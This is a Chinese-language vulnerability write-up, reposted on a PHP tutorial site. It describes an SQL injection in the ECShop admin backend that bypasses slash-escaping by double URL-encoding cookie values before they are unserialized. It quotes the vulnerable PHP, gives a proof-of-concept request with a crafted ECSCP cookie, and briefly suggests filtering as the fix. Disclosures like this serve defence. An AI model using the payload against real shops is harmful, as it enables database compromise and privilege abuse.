网站地图    收藏   

主页 > 后端 > 网站安全 >

ecshop最新版本后台所有功能块通用SQL注入(全版本

来源:自学PHP网    时间:2015-04-17 10:15 作者: 阅读:

[导读] 后台的SQL注入,几乎所有的后台功能块都能用此方法注入,进入后台就可以用此提升下自己的权限了,当然,进入后台让这个漏洞鸡肋了,你懂的~~~$filter = unserialize(urldecode($_COOKIE...

后台的SQL注入,几乎所有的后台功能块都能用此方法注入,进入后台就可以用此提升下自己的权限了,当然,“进入后台”让这个漏洞鸡肋了,你懂的~~~
$filter = unserialize(urldecode($_COOKIE['ECSCP']['lastfilter']));

这一句是核心,urldecode看到了么?所以啊,只要%27、%2527就能绕过init.php里对$_COOKIE的addslashes_deep了~~~

两个地方:

1.订单详情


/admin/order.php //158行
 $filter = unserialize(urldecode($_COOKIE['ECSCP']['lastfilter']));

2.后台几乎各功能块列表都会用到的get_filter()方法


/admin/includes/lib_main.php //718行
 

function get_filter($param_str = '')
{
    $filterfile = basename(PHP_SELF, '.php');
    if ($param_str)
    {
        $filterfile .= $param_str;
    }
    if (isset($_GET['uselastfilter']) && isset($_COOKIE['ECSCP']['lastfilterfile'])
        && $_COOKIE['ECSCP']['lastfilterfile'] == sprintf('%X', crc32($filterfile)))  //这虽然麻烦,但可控制
    {
        return array(
            'filter' => unserialize(urldecode($_COOKIE['ECSCP']['lastfilter'])), //这里又见重点
            'sql'    => base64_decode($_COOKIE['ECSCP']['lastfiltersql'])
        );
    }
    else
    {
        return false;
    }
}



看接下来的漏洞证明吧~~


订单详情的,这个好弄些



get_filter方法的,拿文章列表来测试,满足触发条件可能麻烦些,说个简单的方法,把条件“==”你控制不了的那一边echo输出出来,然后控制的那一边改一下就好了(我说的不绕口吧?)





 


相关代码(文章列表的,供测试)


 

GET:
http://localhost/test/ecshop/admin/article.php?is_ajax=1&uselastfilter=1

POST:
act=query&keyword=&cat_id=0

COOKIE:
ECSCP[lastfilterfile]=23A0E66;
ECSCP[lastfilter]=a%253A1%253A%257Bs%253A5%253A%2522start%2522%253Bs%253A2%253A%25221%2527%2522%253B%257D; //cookie修改这两处

 

 

怎样,有了这个,还要再找后台SQL注入么?


修复方案:

进入sql语句前,再进行过滤最靠谱

自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习

京ICP备14009008号-1@版权所有www.zixuephp.com

网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com

添加评论